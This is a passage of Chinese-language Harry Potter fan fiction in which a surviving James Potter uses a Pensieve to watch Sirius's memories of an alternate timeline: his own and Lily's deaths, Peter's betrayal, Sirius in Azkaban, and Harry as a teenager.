刹那间,书房的地板塌了下去,詹姆斯感觉自己坠入一个旋转的隧道。色彩炸开,像碎玻璃刺耳地尖叫,世界颠倒过来,直至重归稳定。他睁眼环顾四周,认出所处位置,脑子里轰的一声—— 戈德里克山谷。 是他住了十几年的地方。几秒前,他还在这里——就在自己的家中,屋内温暖平静,还有晚餐时苹果派的余香。可现在,这里一切都不对劲,夜空中残留着魔法的余震,空气里弥漫着呛人的烧焦味,混合着一股甜腥气息。 “为什么会是这里?这是哪一天?”他尽力保持平静,手却不由自主地握成拳。 “十一年前。万圣节。”小天狼星走到他身边,简短答道。 远处传来引擎的轰鸣声,两人同时抬头望去。一辆飞天摩托从天空俯冲而下,银色车身在月光下划出一道弧线。骑在上面的是年轻得多的小天狼星,穿着熟悉的皮夹克,脸上满是詹姆斯从未见过的恐惧。 摩托在一幢房子前急停,年轻的小天狼星跳下来,踉跄了一下才稳住身体。 詹姆斯的脸色变了。那是他的家,波特家——但眼前的景象让他浑身发冷。屋顶一侧被炸开了一个大洞,烟雾从断裂的墙体里冒出。前门大开,碎木瓦砾散了一地。 “不,不可能……”詹姆斯喃喃道。他身旁的小天狼星不发一言,只是呼吸变得粗重。 年轻的小天狼星冲进房子,他们也跟了上去。入口处一片狼藉,家具七零八落地倒在地上,其中那张破旧的沙发尤其醒目:靠背几乎被完全炸飞,露出焦黑的框架和破裂的弹簧。可它明明早在几年前就换掉了——小哈利曾把整整一大瓶南瓜汁洒在上面,魔法清洁剂也没能挽救它惨淡的颜色,莉莉为此念叨了整整一个星期。墙上的照片全部摔落下来,满地玻璃碎片。詹姆斯清楚地记得每样东西原本的位置,每一幅照片的内容。这里确实是他的家,但他从未见过它变成如今这副模样。 年轻的小天狼星在起居室中央停下,发出一声受伤野兽般的痛苦呜咽。詹姆斯顺着他的视线看去,眼前的景象瞬间变得扭曲。 躺在那里的是他自己。眼镜歪斜,目光空洞,魔杖滚落在几步之外,手臂却仍然前伸,似乎定格在某个动作的中途。嘴唇微微张开,也许还来不及说出最后一个咒语就已经永远沉默。 詹姆斯后退一步,肩膀撞上身旁的小天狼星。他嘴唇动了动,喉咙干涩得发不出声音。 “不,不,不……”年轻的小天狼星扑到尸体旁,手指颤抖着触碰那张僵硬冰冷的脸,额头抵在冰冷的躯体上,“詹姆斯……” 詹姆斯注视着自己的尸体,一股比恐惧更深的寒意攫住了他。他艰难地转向小天狼星:“你带我来看自己的尸体?” “看完。”小天狼星只是说道。 年轻的小天狼星胡乱抹去脸上的泪,摇晃着站起身,朝楼上冲去。詹姆斯跟上,每一步都像踏在碎玻璃上,无边恐惧如无形绳索拖拽着他前行。 哈利的婴儿房。 门被炸开了一半,焦黑的痕迹爬满墙面。詹姆斯在门口僵住片刻,随即不顾一切地冲进房间,跌跌撞撞地跪倒在地,“莉莉!” 他伸手想抱起妻子,却扑了个空,指尖穿透莉莉的肩膀,只触碰到冰冷的地板。这才猛然惊醒——这是记忆,这里没有他的存在。莉莉躺在地上,红色的头发凌乱地散开,翠绿色的眼睛毫无生气地盯着天花板,手臂还保持着保护的姿势,僵直地伸向婴儿床的方向。 “不——”詹姆斯的声音哽在喉咙里,冰冷的无力感从心底向上涌起。他忽然意识到了一件更可怕的事,心脏几乎骤停——“哈利呢?” 身后,年轻的小天狼星突然抽了一口气。詹姆斯下意识地回头望去。 婴儿床上,一个小男孩正趴在那里啜泣。他约莫一岁大,黑色的头发乱蓬蓬的,额头上有道新鲜的伤口,形状怪异,像一道闪电。血从伤口渗出,正顺着他圆圆的脸颊滑下。 “哈利,”詹姆斯几乎喘不上气,“他还活着。” 年轻的小天狼星已冲到床边,小心翼翼地将哈利抱起。“哦,哈利。”他的声音颤抖得厉害,“没事了,你没事了。”男孩渐渐停止哭泣,一双绿眼睛直直地望着他,小手紧紧攥住了他的衣服。 詹姆斯站在一旁,目光无法从那个孩子身上移开。他伸手去摸哈利柔软的小脸,却只摸到冰凉的空气。这是记忆,他无法挽回任何一切。 门外传来沉重的脚步声,伴随着响亮的抽泣声。一个巨大的身影挤进门框——是海格。他看起来比詹姆斯印象中年轻些,但仍然高大得让整个房间都显得逼仄。他目光落在地上的莉莉身上,哭声立刻变得更加响亮,泪水顺着胡须滴落。他从口袋中掏出一块脏兮兮的大手帕,徒劳地擦着不断涌出的泪水。 “太可怕了,”海格一边抽噎一边说,“可怜的莉莉也……詹姆斯也……” “海格,”年轻的小天狼星抱紧哈利,“你来做什么?” 海格重重拍了拍他的肩膀,差点把抱着哈利的小天狼星拍倒。“邓布利多派我来接哈利,”他说,“说要把他送到安全的地方去。” “把他交给我,海格。”小天狼星坚持道,“我是他的教父。詹姆斯和莉莉希望我照顾他。” “不,不行,”海格摇了摇巨大的脑袋,大手在空中挥舞,“我得按邓布利多吩咐的做。” 记忆中的争执继续着,年轻的小天狼星最终妥协了。“用我的摩托车吧。”他的声音变得麻木,“我不再需要它了。” 他最后一次亲吻了哈利的额头,将他交到海格手中。“再见,哈利。”他轻声说,“我会找到他的,我发誓。” 海格带着哈利离开后,年轻的小天狼星站在原地,脸上的泪痕干了,悲伤慢慢褪去,取而代之的是冰冷的愤怒。他握紧魔杖,快步走出房间。“彼得。”他念着这个名字,每个字都蕴含着无法掩饰的恨意,“我要找到你。” 当他穿过前门,四周开始模糊,景象晃动着散成一片冷雾,渐渐吞没一切。 詹姆斯猛然被拉回现实,双脚重新踏上书房的地板。他一手扶墙稳住身形,另一只手捂住脸,指缝间泄出粗重的喘息。 “刚刚那……究竟是什么?”他的胸口剧烈起伏,嗓音沙哑得完全不像自己的。 “那是原本应该发生的事。”小天狼星低声回答。 “不可能!”詹姆斯摇着头,手指陷入发间,“伏地魔那晚确实来了,但他没有——他只是站在门口,然后离开了。他没有——” 他不是没奇怪过。那晚的情景至今历历在目——伏地魔毫无预兆地出现在波特家门口时,他已经做好了赴死的准备。他还记得自己如何拼命握紧魔杖,如何挡在莉莉和哈利前面,决意要用生命去抵挡哪怕一秒的攻击。然而,伏地魔只是沉默地凝视着他,既像在犹豫,又像在恐惧。詹姆斯心跳如鼓,魔杖在掌心发烫,正当他以为战斗即将开始,伏地魔却突然消失了,仿佛从未出现过一般。 那晚,他在门口呆立许久,直到小天狼星慌乱地骑着摩托赶来,他才确信他们一家确实安全了。 “如果他没有在最后一刻改变主意,刚才看到的就是原本的结局。”小天狼星表情凝重,“他看到了这个未来,詹姆斯。就像我一样。他知道杀了哈利会毁了自己,所以退缩了。” 詹姆斯瘫坐在地上,脑子里全是那片废墟——莉莉倒在婴儿床前,红发散开;那个小男孩,额头淌血,哭泣着活下来,却永远失去了父母。 他忽然抬起头,一种可怕的认知席卷了他。“你是说伏地魔抵抗了杀死哈利的冲动,因为他害怕失败?但在那个世界里,哈利活下来了,伏地魔却让他成为了孤儿。这样也算失败吗?” “邓布利多告诉我,哈利成为了‘大难不死的男孩’,伏地魔最强大的敌人。” 詹姆斯低头盯着自己的手,喉咙像被什么堵住,酸得喘不过气,“这就是我们在万圣节夜晚‘幸存’的代价?我们不应该活着?历史不该改变,所以我们的哈利必须——”他说不出那个词。 “这只是第一段记忆。”小天狼星轻声说,“还有更多。” 詹姆斯盯着他,眼里混着怒火和痛楚,“更多?” 小天狼星点头,杖尖再次抵上太阳穴。“是的,还有更多。这只是开始,尖头叉子。只是开始。” 银色的记忆丝线落入冥想盆,在石盆中缓缓旋转。詹姆斯站起身,盯着那微光闪烁的漩涡,深吸一口气,对小天狼星点了下头。两人再次俯身,沉进记忆深处。 世界再次剧烈旋转。詹姆斯睁开眼,阳光刺得他眯了一下——他们站在一条街道上,街边的商店招牌在微风中轻摇,麻瓜们匆匆走过,各自忙着自己的事情,毫不知晓魔法世界刚发生的灾难。 年轻的小天狼星衣着凌乱地站在街角,魔杖藏在袖中,目光不停搜寻人群。 詹姆斯认出这是伦敦的一条麻瓜街道,离对角巷不远。 “万圣节后的第二天。”小天狼星低声说,“我终于找到彼得的踪迹。” 这时,年轻的小天狼星突然绷直了身体,詹姆斯立刻顺着他的目光望去,一个熟悉的矮小身影正急匆匆地试图挤进人群中。小矮星·彼得,他们曾经的朋友,掠夺者中的一员,此刻却裹着一件明显过大的麻瓜外套,慌张地在人群里推搡前进。 “彼得!”年轻的小天狼星怒喊出声,震得旁边的麻瓜纷纷回头。 彼得惊慌地回头瞥了一眼,看到小天狼星,脸上闪过一丝惊慌。他四处张望寻找逃跑路线,但小天狼星已经逼近一步,魔杖直指他的胸口。 “我找到你了!”年轻的小天狼星咬牙切齿地说道,“你背叛了詹姆斯和莉莉,小矮星。” 詹姆斯手下意识伸向腰间,摸了个空。他狠狠咬紧牙关,即使清楚这只是一段记忆,他仍然恨不得立刻冲上前掐住彼得的脖子。那个曾与他们共同经历校园生活的同伴,此刻却成了毁灭他家庭的元凶。 “你疯了吗,小天狼星?”彼得声音尖细,装出一副惊恐模样,“我们可是朋友!” “朋友?”年轻的小天狼星冷冷一笑,“朋友会出卖朋友的命吗?朋友会把詹姆斯和莉莉交给伏地魔?” 周围的麻瓜开始注意这奇怪的一幕,有些人停下脚步,好奇地围观。 詹姆斯敏锐地捕捉到彼得瞥了瞥四周,嘴角轻微抽动——他认识那个表情,彼得正在暗中盘算什么。他立刻感觉到一股不祥的预感。 下一刻,彼得的表情变了。 “是你背叛了他们,小天狼星!”彼得扯开了嗓子尖叫,“是你把莉莉和詹姆斯交给神秘人的!你怎么忍心?” 年轻的小天狼星愣在原地,还没来得及反驳,彼得的手已从口袋里迅速抽出魔杖,对准地面猛挥—— “砰!” 巨大的爆炸瞬间吞没了一切,街道被掀翻,烟尘弥漫开来。詹姆斯耳膜刺痛,视线一片模糊,只能隐约听到四处传来的尖叫声。当烟雾稍稍消散,他看见地面上炸开了一个巨大的坑洞,十几个麻瓜倒在地上一动不动,彼得消失了,地上只剩一根断裂的手指和一片血迹斑斑的衣角。 年轻的小天狼星站在废墟中,呆立片刻,突然爆发出一阵疯狂绝望的大笑。他身旁是狼藉一片,耳边充斥着麻瓜的尖叫哭喊。 “高明,彼得。”他轻声说,声音淹没在嘈杂中,“真高明。” 片刻之后,他膝盖一软,跌跪在地。他的眼睛失去焦距,声音低不可闻,“是我……都是我的错……” 詹姆斯看着这一幕,心头骤然一沉。 记忆此时忽然变得混乱而模糊起来,浓厚的雾气从四面八方涌入街道,吞噬了所有细节。詹姆斯觉得自己似乎被拉远,年轻的小天狼星颓然跪坐的身影变成了朦胧的剪影,周围的一切声音也变得模糊、飘忽不定。他只能隐约看到几个巫师幻影显形,穿着魔法部制服,却完全听不清他们在说什么。 唯一清晰的是一个严厉的声音似乎宣布了什么,小天狼星缓缓地抬起头,眼神涣散,什么也没有辩解,任由巫师们夺走了他的魔杖。 詹姆斯努力分辨那些飘忽的字句,却只听到年轻的小天狼星不停地低语:“是我害死了他们……” 画面最终被浓雾彻底吞没,街道、巫师和小天狼星全都消失不见了。 景象剧烈地晃动起来,詹姆斯感到一阵强烈的眩晕,下一秒,双脚重新踩回了书房坚实的木地板上。他双手撑着冥想盆边缘,喘息不止,额头冷汗直落,胃里翻江倒海,像刚刚逃脱一场噩梦。 “彼得……”他终于挤出这个名字,声音里全是难以置信的愤怒,“他竟然——那个懦夫竟然敢——” 小天狼星站在一旁沉默地看着他,没有接话。 詹姆斯的目光逐渐聚焦在好友脸上,胸口忽然一阵发紧。“阿兹卡班……”他低声说,眼神变得复杂而痛苦,“原来你说的都是真的,他们后来真的把你关进了阿兹卡班?” “十二年。”小天狼星平静地确认,“如果你想知道有多久。” 詹姆斯的声音猛地拔高,几乎是怒吼了出来:“可是阿兹卡班?你?这太荒谬了!”他的声音里透着强烈的怒意,更多的却是无法掩饰的恐惧,“你是个傲罗!一个专门追捕食死徒的傲罗!他们怎么可能把你送进阿兹卡班,就凭一个你根本没犯过的罪行?” 小天狼星没有回答,只是静静地望着詹姆斯。 詹姆斯也望着他,脸上的愤怒逐渐消散,眼底被悲伤与愧疚填满。“我甚至没能保护好我的家人。我死了,你却替我背了这么重的代价。” “那不是你的错,詹姆斯。”小天狼星向前一步,稳稳地按住他的肩膀,“那只是命运的一种可能。伏地魔也看到了,所以他选择了退缩。” 詹姆斯用力按住自己的额头,双眼逐渐睁大,像是刚意识到一直被他忽略的细节。 “等一下,彼得——”他的声音颤抖着,“他没死!他逃 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他们停在一间特别阴暗的牢房前。角落里蜷缩着一个瘦骨嶙峋的人影,长发打结,满是污垢,几乎盖住了整张脸。破烂的囚服松垮地挂在身上,看上去几乎不像是一个活人。那双手——曾经灵活地玩弄魔杖的手——现在只是枯瘦的爪子,不断抚过墙上密密麻麻的刻痕,一本用划线记录的日历,每道痕迹都代表囚禁的一天。 詹姆斯盯着那个人影,一阵痛楚涌上喉头。他的大脑无法将眼前这个囚犯与身边的小天狼星联系起来。这不可能是他最好的朋友,他的兄弟,那个总是笑得最大声、恶作剧最无畏的劫掠者。 “这是谁?”他听见自己问道,尽管心底已有了可怕的答案。 囚犯抬起头,微弱的光线照亮了他的部分面孔。詹姆斯的世界在那一刻崩塌了。即使经历过傲罗训练中最恐怖的场景,他也从未面对过如此令人窒息的真相——那张曾英俊得让女生尖叫的脸,如今干瘪凹陷,像蒙了一层由皮骨拼凑的面具。曾经的自信、那股烧不尽的活力,全被摄魂怪啃噬殆尽,只剩一具空壳。 “梅林啊……”詹姆斯喘不过气来,“他们对你做了什么......” “没有魔杖,没有希望。”小天狼星说,“只有一个念头很清晰——我知道自己是无辜的。这不是什么快乐的想法,所以摄魂怪无法将它吸走。” 走廊尽头传来一阵沙沙声,温度骤降。两个摄魂怪飘了过来,腐朽的斗篷拖在地上。它们停在牢门前,牢里的小天狼星蜷缩成一团,双臂紧紧环抱膝盖。 忽然,牢房中的小天狼星开始变形——身体扭曲,四肢缩短。片刻之后,角落里只剩下一只黑色的大狗,前爪掩住鼻子。摄魂怪在门前停顿了几秒,随后飘离,带走了那股刺骨的寒意。 黑狗重新变回了人形,牢房中的小天狼星挪到窗边,透过铁栏杆望向外面的世界。窗外只有永无尽头的灰色海洋和更为灰暗的天空,海浪一次次拍打着孤岛的悬崖,似乎要将整座孤岛吞没。尽管骨瘦如柴,脸上刻满痛苦,他的眼睛却亮得吓人。 小天狼星又缓缓爬回角落,从稻草堆里摸出一张皱巴巴的《预言家日报》,显然已在牢房里藏了很久。 “那一天改变了一切.”现实中的小天狼星说,“十二年的等待后,我找到了行动的理由。” 记忆中的小天狼星展开报纸,目光扫过每一页——这是他唯一的外界信息来源。翻到某一版面时,他全身僵住,手指停在一张照片上。 照片上是韦斯莱一家在埃及旅行的合影。他们站在金字塔前,笑容灿烂。但小天狼星的目光锁定在一个细节上——站在罗恩肩膀上的那只老鼠。 “彼得,”他低声说,声音嘶哑,“小矮星——” 詹姆斯凑近看那张照片。那只老鼠他再熟悉不过了——正是彼得的阿尼马格斯形态,那只缺了一根脚趾的老鼠。 “他果然还活着。” “当然。”小天狼星的语气中带着明显的痛苦,“你看,不管在哪个时间线,他都假死逃脱了。直到去年你才成功抓住了他。” 詹姆斯一怔,记忆涌回脑海。去年邓布利多突然召他到霍格沃兹,在校长办公室里,他第一次见到了哈利·佩弗利尔——那个与自己长相惊人相似的年轻教师。 佩弗利尔平静地解释,他的教子发现了罗恩·韦斯莱的宠物“斑斑”其实是个阿尼马格斯。詹姆斯当时没有深究。毕竟所有人都相信彼得早已死亡——万圣节那晚,小天狼星确认他们安然无恙,便一刻不停地追出去,誓要揪出那个叛徒。他在对角巷附近的窄巷里堵住了彼得,争斗没持续多久,爆炸的火光吞没了一切,留下的只有焦黑的碎石和一个再无人质疑的结局。 现在回想起来,那位年轻黑魔法防御教师当时盯着彼得的眼神异常冷漠,似乎从一开始就做好了将他送进阿兹卡班的准备。 詹姆斯猛地抓紧小天狼星的手臂,“你记不记得,去年邓布利多忽然把我叫去霍格沃兹抓彼得。当初哈利——哈利·佩弗利尔,他告诉我们发现彼得时,我只觉得不对劲——只有我们两个知道彼得是阿尼马格斯,他为什么能一眼看穿?为什么偏偏是他?” 其实他不需要小天狼星的回答。因为原因只有一个—— “哈利早就认出了他。所以你看,詹姆斯。”小天狼星声音低沉,“一切其实都有迹可循。” 牢房里的小天狼星撕下照片,小心翼翼地折好,藏进贴近胸口的衣物内。 “他在霍格沃兹。”他喃喃自语,“就在哈利身边,他可能会伤害哈利……” 当晚,守卫打开牢门送晚餐时,小天狼星已变成黑狗,蜷在角落。看守放下食物托盘,转身要关门—— 黑狗一跃而起,敏捷地从守卫脚边窜过,穿过铁栏之间的空隙,身影飞快消失在走廊尽头。 詹姆斯眼睁睁地看着那只黑狗从阿兹卡班的塔楼间隙钻出,迅速跑到悬崖边,面对着咆哮翻腾的海浪,毫不犹豫地纵身跃入了冰冷的海水中。 记忆消散。詹姆斯发现自己回到书房,喘息不稳。他松开冥想盆边缘,手指发麻。他抬起头,目光落在小天狼星身上——那个站在他面前、完好无损的小天狼星。 “十二年。”他哑声道,“你在那个地狱般的地方熬了十二年。” 詹姆斯上前一步,双手猛地抓住小天狼星的肩膀,指尖微微颤抖,像要确认眼前的人不是幻影。那张脸还是他熟悉的倔强模样,和刚刚记忆中枯瘦如柴的囚犯判若两人。“那不是你该……”他喉咙发紧,“我不该让你经历那些。” 小天狼星看着他,灰色的眼眸里掠过一丝暖意。他抬起手,轻拍詹姆斯的肩,像当年在霍格沃茨安慰他输了魁地奇比赛时那样,低声道,“那是另一个时间的烂账,尖头叉子。别把自己陷进去。” 詹姆斯松开手,抹了把脸,深深吐出口气,努力压下那股刺心的痛。他做过无数傲罗任务,闯过食死徒的巢穴,见识过人性最阴暗的角落,可那些加起来都不及刚才那幕——那种刺骨的孤独,那漫长的折磨,还有在黑暗中死咬着不放的意志,像一把钝刀,慢慢剜着他的心。 他转头望向小天狼星,犹豫片刻,声音里透着掩不住的急切,“你还有别的记忆吗?”他咽了口唾沫,艰难地补充道,“我是说……关于他。在那个世界里,他后来是怎么长大的?他……过得好吗?” 小天狼星低头望着冥想盆中缓缓旋转的银色物质,“我恢复的记忆并不多,尖头叉子。有些片段相当零碎,甚至很模糊,连我自己都不确定它们的先后顺序。多亏了邓布利多,我才勉强找回了一些较为完整的记忆片段。” “把你能想起的一切都给我看。”詹姆斯坚持道,“我必须知道全部。” 81. 银色记忆(下) 詹姆斯站在霍格莫德村边的一堆乱石旁,记忆的银色雾气刚刚散去。山坡小路上,一只脏兮兮的大黑狗正领着三个少年向上爬行。黑狗皮毛暗淡,肋骨清晰可见,瘦得几乎脱形,身形轻巧地踩着脚下的碎石,嘴里叼着几张皱巴巴的报纸。 少年们从詹姆斯身边走过,完全没有察觉到他的存在。最前面的男孩戴着圆框眼镜,黑发乱翘,瘦削但肩膀已开始舒展,正处在从男孩迈向少年的过渡期。紧随其后的红发男孩和棕发女孩肩上挂着鼓鼓囊囊的书包,气喘吁吁地跟着往上爬。 “那是——”詹姆斯的话卡在嗓子里。 “哈利,和他的朋友罗恩、赫敏。”小天狼星站在他身旁,嘴角带着一抹淡笑,“我不清楚这是哪一年,看样子大概十四、五岁了。” 詹姆斯死死盯着那个黑发男孩。他比小哈利高了一截,脸上稚气褪去不少,下巴线条渐渐显出轮廓,绿眼睛在阳光下格外明亮。詹姆斯的眼神短暂地柔和了——小哈利若是还在,再过两年,或许也会是这副模样。可那孩子额头上的闪电疤痕,又跳出来提醒着他——他们不一样。这个念头刺痛了他,他强迫自己移开视线,却又忍不住回望。 黑狗带领一行人沿着隐蔽的小路,钻进一处岩壁裂缝。詹姆斯和小天狼星紧随其后。洞内潮湿阴冷,干草和毯子堆在角落,几根啃剩的骨头散落一地。一头鹰头马身有翼兽被拴在深处的巨石旁,警惕地盯着进入的人群。 空气中弥漫着一股霉味。黑狗抖了抖身体,变回了人形。 记忆中的小天狼星站在他们面前——模样比站在詹姆斯身旁的好友苍老太多。破旧的灰袍松垂在骨架般的身躯上,头发凌乱打结,脸颊深深凹陷。但当他看向哈利时,脸上却露出发自内心的笑容,让他整个人都亮了起来。 詹姆斯的目光在两个小天狼星之间徘徊。尽管已在上一段记忆中见过,这种对比仍然令他难以接受。站在他身边的,是他熟悉的挚友,而眼前那个——詹姆斯的双手不由得攥紧——像是从地狱深处爬出来的幽灵。眼前的景象让他胸口泛起一阵苦涩,就如同阿兹卡班记忆中看到的那个囚徒一样,让他几乎无法呼吸。 “鸡。”记忆中的小天狼星沙哑地说,他接过哈利递过来的食物袋,迫不及待地撕开纸包,抓起鸡腿便啃了起来。“我靠老鼠撑着呢,偶尔从霍格莫德偷点鸡腿——不敢多拿,免得引人注意。” “老鼠?”詹姆斯扭头,嗓音绷得紧紧的,“你真的——?” 身边的小天狼星眼神沉下去,“那些梦,那些记忆——它们就像我自己的经历一样真实。”他顿了顿,望向洞穴中那个狼吞虎咽的自己,“每次在梦中,我都能感到那种抓心挠肺的饥饿,可为了哈利,我可以做任何事。” “那不只是另一个我的选择——那就是我会做的选择。老鼠算什么?” 詹姆斯盯着好友的侧脸。那语气硬邦邦的,可他知道,小天狼星不是随便说说——这些记忆早已不是简单的画面,而是已经融入他灵魂的一部分。他永远遵从着自己的本心,没有丝毫犹豫。 詹姆斯喉咙一堵,只是点了点头。他不知道该怎么回答,他没法像小天狼星这样豁出去。每看那个少年一眼,小哈利的影子就撞上来,那个再也长不大的孩子。那痛楚卡着,散不去,也停不了。 詹姆斯侧过头,看见记忆中的男孩对小天狼星勉强挤出一个笑容,那双绿眼睛里充满了担忧。 他眉头一皱,心口刺了一下。哈利不会这样看人——他从未经历过真正的危险或失去,总是无忧无虑地大笑。在进入这段记忆后,他第一次清楚地意识到,眼前的这个男孩,不是他的哈利。 “你在这里做什么,小天狼星?”记忆中的哈利开口问道。 “履行作为教父的职责。”小天狼星含糊地答道,嘴里还嚼着鸡肉,“别担心,我假装自己是一条从别人家跑丢的可爱流浪狗。” “要是有人发现你呢?”哈利紧接着问,眼神里满是无法掩饰的恐惧,“要是他们抓住你怎么办?” “这里除了你们三个,只有邓布利多知道我是阿尼马格斯。”小天狼星随口回答,语气轻松,仿佛他在谈论的只是明天会不会下雨,而不是自己的生死。 这时,罗恩从地上捡起《预言家日报》,递给了哈利。詹姆斯靠近一些,想要看清上面的内容,但字迹模糊不清。他只能捕捉到几个零散的词语:“魔法部官员病了”“名字从火焰杯里冒出来了”“三强争霸赛”…… “他们在谈什么?”詹姆斯皱眉问道。 小天狼星叹了口气,“这些记忆有些断断续续,都是些碎片,清晰的很少。” 詹姆斯眉头锁紧。火焰杯?三强争霸赛?那不是早就因为太危险被禁止了吗?怎么又——他扭头想问小天狼星,忽然听见罗恩的声音提高了几分,“他还偷偷溜出去搜查了斯内普的办公室!” “斯内普?”詹姆斯愣住了,“这里的斯内普也在霍格沃兹教书?” 小天狼星的脸已经黑了。 詹姆斯脸一沉,脑中闪回一个月前在医疗翼的画面——斯内普几乎每天都出现在昏迷不醒的哈利·佩弗利尔床边,面色阴沉地查看他的状况。那时,他全部心思都在小哈利身上,完全忽视了斯内普异常的行为。 难道斯内普也知道真相?这想法让詹姆斯不由自主地打了个冷战。但他立刻反驳自己:如果斯内普知道真相,他怎么可能对詹姆斯·波特的儿子表现出关心? 詹姆斯深吸一口气,太阳穴突突直跳。他想问小天狼星,又迅速打消了这个念头——眼下的事才是最重要的,其他的可以以后再说。 他努力回到记忆中的对话,却只听到零星片段。直到赫敏的声音突然高了几度,“如果斯内普真想害哈利,一年级时为什么还要救他?” 詹姆斯如遭雷击。他看向小天狼星,发现对方同样睁大眼睛,满脸震惊。 “这是你的记忆,大脚板。”詹姆斯低声说道,语气里充满了不解与质疑,“你怎么好像完全不知道?” “回忆起这些碎片时,我只注意哈利了。”小天狼星的目光躲闪,“没留心他们谈了什么。” 詹姆斯陷入沉默,胸口一阵压抑。眼前的讨论仍在继续,可他已经无心细听。斯内普救了哈利?这一点与他对斯内普的所有认知完全冲突。多年来根深蒂固的成见突然开始动摇,詹姆斯内心掀起波澜,他不确定自己到底了解斯内普,甚至不知道自己是否真正了解任何人。 直到记忆中的小天狼星提醒孩子们该离开了,詹姆斯才缓缓回过神来。 “听着,”记忆中的小天狼星神情严肃地叮嘱哈利,“不要再从学校溜出来看我,明白吗?如果有人想对你下手,这种时候最危险不过了。” 哈利却不以为意地耸耸肩,“目前还没人想要我的命,除了一条火龙和几个格林迪洛。”男孩那轻巧的语气一点也不像在面对危险,倒像在谈论日常的魁地奇训练。 “火龙?”詹姆斯失声喊道,“为什么会有火龙?” 小天狼星脸上怒气翻腾,“你以为我不想知道?我早就觉得不对劲!除了三强争霸赛还能是什么?那鬼玩意儿不是因为死太多人被废了吗?邓布利多疯了吧,让这么小的孩子面对火龙?” 詹姆斯张了张嘴,却说不出话来。他重新望向那个黑发少年——这不是一个被宠爱长大的孩子,更像一个习惯了危险的战士。 记忆中的小天狼星变回了黑狗,陪着哈利他们走到栅栏边。孩子们伸手摸了摸黑狗的脑袋,小天狼星便独自转身跑远了。詹姆斯看着哈利脸上重新流露出的担忧和不舍,然后银色雾气开始散开,他感觉脚下一晃,手掌本能地撑住了冥想盆冰冷的边缘。他缓缓抬头,呼吸有些不稳,眼前的书房在一瞬间显得遥远无比。 “他……”詹姆斯开口,下面的话被硬生生咽了回去。他脑海里全是那个再也不会长大的哈利,笑得没心没肺的小子。眼前的少年却熟悉而又陌生,压得他喘不过气。 如果哈利能活到十四岁,他怎么可能是这样? 这个念头几乎将他压垮。詹姆斯猛然站直身体,在房间里来回踱步,额头的青筋清晰可见。小天狼星一言不发,只默默注视着他。 詹姆斯最后长长地吐出一口气,低声说道:“我不知道……该怎么做……我本以为他……” “我懂,”小天狼星点头,“没人指望你马上就能接受这一切。”他短暂停顿,“但至少,你不会再觉得我疯了吧?” 詹姆斯苦涩地看了一眼他,摇头道,“我甚至不确定我自己有没有疯。” 他微微迟疑,内心一部分拒绝继续这条令人痛苦的探索之路,另一部分却无法抑制对更多真相的渴望。最终,渴望战胜了恐惧,“还有其他记忆吗?” 小天狼星的嘴角微微放松了一些,“还有两个,我觉得你应该看。” 说完,他再次将魔杖抵在太阳穴上,抽出一缕新的银色记忆。 “这段有些模糊。”小天狼星补充道,“但我觉得你肯定会想看的。哈利在霍格沃兹打魁地奇。” 詹姆斯闻言一怔。魁地奇——他学生时代最爱的运动。他的神色有了明显的变化,目光落在了冥想盆上。 银色的记忆缓缓盘旋着,两人再次俯身沉入其中。 风夹着冰冷的雨点呼啸而过,他们来到霍格沃兹的魁地奇球场边缘。雨如幕布般从阴沉的天空倾泻而下,球场的观众们紧裹着雨披,依然兴奋地注视着空中比赛的队员。 “格兰芬多对赫奇帕奇!”小天狼星喊道,试图压过耳边呼啸的狂风,“刚开场不久。” 詹姆斯眯起眼睛,努力辨认着空中疾驰的球员。 “看,那儿!”小天狼星指向高空中的一个红色身影,“那就是哈利!” 詹姆斯迅速锁定了那个球员——一名瘦削的找球手,比上一段记忆里看着更瘦小些,像极了记忆中的小哈利。他骑着光轮2000,在风雨中灵活穿行,动作流畅得令人惊叹。 “找球手……”詹姆斯低声道,嘴角不自觉上扬。一个念头闪过——他自己曾是格兰芬多最优秀的追球手,如果能有机会和那孩子一起飞行,他们会是多么完美的队友。但随即,他僵住了——这不是他的哈利,而是另一个人。他胃里一沉,酸涩涌上来。他的哈利也该有这样的机会,偏偏连第一场比赛都没能参加。詹姆斯咬紧牙关,狠狠甩开了这个念头。 忽然,那个少年一个俯冲,一个侧身,又一个急转弯——动作行云流水,毫不犹豫。詹姆斯愣住了。那些动作太熟悉了,就像看到了自己的影子。 “他飞得和你一模一样。”小天狼星在一旁感慨道。 詹姆斯没吭声,目光黏在哈利身上。哈利在半空中骤然停住,头部偏向一侧。顺着他的视线,詹姆斯看到看台顶端的阴影处蹲着一只湿透的黑狗,毛发紧贴消瘦的身体,一动不动地盯着空中的红色身影。 “那是你。”詹姆斯轻声说道,瞥了一眼身边的小天狼星,“他看到你了。” 小天狼星紧抿着嘴唇,眼神未从哈利身上移开。 球场上的气氛骤变,一阵刺骨的寒意席卷而来,看台边缘凝结起冰霜。詹姆斯浑身一颤,认出了这感觉——摄魂怪。 成百上千的黑色斗篷涌入球场,在狂风中翻滚。哈利突然僵住,扫帚悬停在空中,眼神空洞,像是听到了什么可怕的声音,手松开了扫帚,身体在五十英尺高空摇摇欲坠——下一刻,直直坠落。 看台顶端的黑狗发出一声撕心裂肺的嚎叫,前爪一探又缩回阴影。詹姆斯咬紧嘴唇,本能地想抽出魔杖,却意识到自己无法干预记忆中的一切,“不——” 一道银色光芒划破雨幕,邓布利多冲向场地,高举魔杖,减缓了哈利的坠势,耀眼的光芒随即驱散摄魂怪群。 詹姆斯喘着气,目光追着担架到了医疗翼。眼前一晃,透过玻璃窗,他看到哈利睁开了眼睛,被朋友围在床边。 他这才仿佛松了口气,转向小天狼星,“霍格沃兹怎么会有摄魂怪?而且还这么多?” “来抓我的。”小天狼星阴沉地说。 病房内,刚刚醒来的少年脸色苍白,眼神中带着困惑,却强撑着坐直身体听队友们说话。窗外阴影中,一只浑身湿透的黑狗扒着窗沿,目光寸步不离病床上的哈利。 他们无法听清病房内的谈话,只能看到罗恩激动地比划着什么。然后赫敏慢慢从脚边捡起书包,将里面的东西倒了出来——碎裂的扫帚碎片散落一地。哈利猛然睁大眼盯着那些碎片,随即垂下头,神情沮丧到了极点。 “扫帚碎了。”小天狼星轻叹一声,“比赛时被吹向打人柳了。” 詹姆斯默默地看了会儿,突然开口,“你还记得我那把横扫七星吗?我十二岁生日那天父亲送给我的。第一次魁地奇决赛,被斯莱特林的一个游走球撞成两半。那感觉……就像失去了一个朋友。” 窗外的黑狗最后看了眼哈利,转身消失在雨中。银色记忆逐渐消散,詹姆斯被拉回了现实。 